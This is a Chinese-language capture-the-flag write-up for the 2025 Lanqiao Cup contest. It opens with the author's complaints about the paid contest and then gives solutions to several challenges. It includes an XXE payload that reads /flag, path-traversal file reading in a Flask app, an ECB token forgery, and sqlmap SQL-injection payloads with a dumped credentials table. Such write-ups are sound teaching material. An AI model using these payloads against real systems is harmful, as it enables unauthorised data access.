蓝桥杯2025 wp
前言
上午打这个比赛,下午大物实验,都没时间打ACTF了(XCTF分站赛),看着le0n师傅乱杀web真的有点羡慕,可惜压根没时间打ACTF
这次蓝桥杯题目质量一般般,但是问题不在这里
问题在于CTF这个比赛本身就不应该收钱,如果收钱了应该改名叫圈钱杯
而且感觉官方似乎不太懂CTF,似乎觉得每个人都应该是全栈,都要全方向都会
因为这次比赛想拿一个好的名次事实上就是需要全栈才行的
一共12题,写出来7题,但是排名都到五百多了,不知道前面的都是什么怪物,怎么个个都是全栈?
话说这比赛水分也大,结束后咸鱼搜索了下,发现全是卖wp的
flowzip
一把梭了

enigma
给的是赛博厨子,那用赛博厨子解密即可

HELLO CTFER THISI SAMES SAGEF ORYOU
黑客密室逃脱
获取app.py
import os
from flask import Flask, request, render_template
from config import *
# author: gamelab
app = Flask(__name__)
# 模拟敏感信息
sensitive_info = SENSITIVE_INFO
# 加密密钥
encryption_key = ENCRYPTION_KEY
def simple_encrypt(text, key):
encrypted = bytearray()
for i in range(len(text)):
char = text[i]
key_char = key[i % len(key)]
encrypted.append(ord(char) + ord(key_char))
return encrypted.hex()
encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)
# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"
# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"
# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
f.write(hidden_file_content)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/logs')
def logs():
return render_template('logs.html', log_content=log_content)
@app.route('/secret')
def secret():
return render_template('secret.html')
@app.route('/file')
def file():
file_name = request.args.get('name')
if not file_name:
return render_template('no_file_name.html')
full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
return render_template('no_premission.html')
try:
with open(full_path, 'r') as f:
content = f.read()
return render_template('file_content.html', content=content)
except FileNotFoundError:
return render_template('file_not_found.html')
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')hidden.txt
解密密钥: secret_key3624解密即可
encryption_key = "secret_key3624"
def simple_encrypt(text, key):
encrypted = bytearray()
for i in range(len(text)):
char = text[i]
key_char = key[i % len(key)]
encrypted.append(ord(char) + ord(key_char))
return encrypted.hex()
def simple_decrypt(encrypted_text, key):
decrypted = bytearray()
encrypted_bytes = bytes.fromhex(encrypted_text)
for i in range(len(encrypted_bytes)):
byte = encrypted_bytes[i]
key_char = key[i % len(key)]
decrypted.append(byte - ord(key_char))
return decrypted.decode('utf-8')
enc="d9d1c4d9e0aac5a4caa969989661d4cbc8a392a898cdc7a66c6d679aa09a9ca4cbab98a1c6af636668b1"
flag= simple_decrypt(enc, encryption_key)
print(flag)flag{6f9e06bd-afe1-49bb-975f-592f796a6006}
xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///flag"> ]>
<creds>&goodies;</creds>然后即可拿到flag
shadow
打断点

然后看寄存器即可

ECB
先用AAAAAAAAAAAAAAAAadmin注册
得到密文KW7riR/XPwngxZyZVMhtk7hAuF3tGSMt5sLqai55nNE=
base64出hex然后取出后16位进行base64编码
import base64
base="KW7riR/XPwngxZyZVMhtk7hAuF3tGSMt5sLqai55nNE="
ciphertext = base64.b64decode(base)
# 取后16字节
ciphertext = ciphertext[-16:]
ciphertext = base64.b64encode(ciphertext).decode()
print(ciphertext)EVTX
先导出为xml
搜索所有.后面的内容
# 打开文件
import os
import random
file = "C:\\Users\\Lenovo\\Downloads\\e.xml"
if os.path.exists(file):
with open(file, 'r',encoding="utf8") as f:
content = f.read()
#搜索所有.并输出.后的3位,并且去重
import re
pattern = r'\.(\w{3})'
matches = re.findall(pattern, content)
matches = set(matches) # 去重
print(matches) # 打印结果{'exe', '000', '168', 'com', 'mic', 'doc', '100'}
注意到doc,定位原文得到
C:\Admin\confidential.docx
crawler(未写出)
参数: username (POST)
类型: 基于布尔盲注
标题: AND boolean-based blind - WHERE or HAVING clause
Payload: username=admin' AND 6417=6417 AND 'YBQW'='YBQW&password=123456
类型: 基于时间的盲注
标题: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 2454 FROM (SELECT(SLEEP(5)))tAAh) AND 'KUFZ'='KUFZ&password=123456Database: ctf
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(11) |
| password | varchar(32) |
| username | varchar(20) |
+----------+-------------+最终得到密码passss1w0rdddd
进去之后要求抓取url
应该是基于curl实现的,尝试命令注入失败
扫描发现http://127.0.0.1:3306 有内容,但是不知道怎么用
基于mysql去写文件也失败了
后面有时间再说吧(估计是不想再碰这个题了)
许可协议:
CC BY 4.0